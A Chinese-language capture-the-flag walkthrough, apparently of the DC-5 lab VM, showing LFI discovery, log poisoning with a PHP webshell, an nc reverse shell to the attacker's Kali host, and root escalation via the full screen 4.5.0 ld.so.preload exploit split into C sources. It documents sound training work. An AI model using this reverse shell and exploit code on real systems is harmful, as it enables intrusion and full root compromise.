一、实验环境
- 靶机:ip暂未知
- 攻击机kali:192.168.43.100
二、实验过程
1.主机发现
nma扫描,发现靶机192.168.43.143
![](https://damoxilai.github.io/post-images/1629954157766.png)
2.端口扫描
开放80、111、37451端口
![](https://damoxilai.github.io/post-images/1629954217294.png)
3.访问80端口
![](https://damoxilai.github.io/post-images/1629954232544.png)
4.扫描目录
gobuster dir -u http://192.168.43.143 -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-small.txt -x php
![](https://damoxilai.github.io/post-images/1629954250096.png)
5.文件包含漏洞
逐个页面访问,关注footer.php和thankyou.php
![](https://damoxilai.github.io/post-images/1629954289083.png)
可以看到thankyou.php底下的内容就是footer.php的内容
可以猜测存在文件包含漏洞LFI
参数为什么是file,只能说是靠猜,习惯来说就很可能是file
![](https://damoxilai.github.io/post-images/1629954305672.png)
6.拿shell
利用日志文件
先在访问中写入php的一句话木马,让日志文件存在这串代码
![](https://damoxilai.github.io/post-images/1629954318383.png)
我们再通过LFI漏洞访问日志文件,并带上反弹命令nc 192.168.43.100 1234 -c /bin/bash
![](https://damoxilai.github.io/post-images/1629954330319.png)
监听得到webshell
用python调用本地的shell,打开一个新的终端,命令:
python -c 'import pty;pty.spawn("/bin/bash")'
![](https://damoxilai.github.io/post-images/1629954343350.png)
7.提权
切换到目录/tmp中,下载提权辅助脚本:
cd /tmp
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
wget https://www.securitysift.com/download/linuxprivchecker.py
由于靶机对网址访问不到,我们可以自己搭建网站(python -m SimpleHTTPServer 80),把文件放置当前目录
运行LinEnum.sh
发现suid文件 /bin/screen-4.5.0
![](https://damoxilai.github.io/post-images/1629954361704.png)
searchsploit screen搜索一下
![](https://damoxilai.github.io/post-images/1629954372603.png)
┌──(root💀kali)-[/]
└─# cat /usr/share/exploitdb/exploits/linux/local/41154.sh 1 ⚙
#!/bin/bash# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017)
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
_attribute_ ((_constructor_))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
本机搭建网站,靶机下载该文件41154.sh
并且运行
![](https://damoxilai.github.io/post-images/1629954383457.png)
出错!
仔细分析该脚本,发现该脚本在执行过程中,会编译两段C语言代码,其中一个编译为动态库文件so,一个编译为可执行文件,然后加载该库文件,最后再调用可执行文件。根据上面的出错信息判断,估计是在执行脚本时,没有成功编译出库文件,可能的原因是靶机上没有安装编译程序。
下一步思路:将该脚本切分为以下三个文件:两个C语言源文件和一个脚本文件,C语言源程序在攻击机上编译,然后用wget传输。
┌──(root💀kali)-[~/桌面]
└─# cat dc5.sh
#!/bin/bash
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell┌──(root💀kali)-[~/桌面]
└─# cat libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
_attribute_ ((_constructor_))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}┌──(root💀kali)-[~/桌面]
└─# cat rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
编译,有警告,无伤大雅
![](https://damoxilai.github.io/post-images/1629954396428.png)
在靶机下载
![](https://damoxilai.github.io/post-images/1629954406510.png)
运行dc5.sh,提权成功
![](https://damoxilai.github.io/post-images/1629954417412.png)
三、实验总结
1、gobuster扫描目录
2、符合LFI漏洞条件的发现,利用日志文件进行一句话木马攻击
3、searchsploit 对screen进行漏洞扫描
4、41154.sh由于靶机缺乏编译环境,运行出错,我们才需要划分三部分,对其中两个c程序在攻击机进行编译后再和与运行文件一起传输到靶机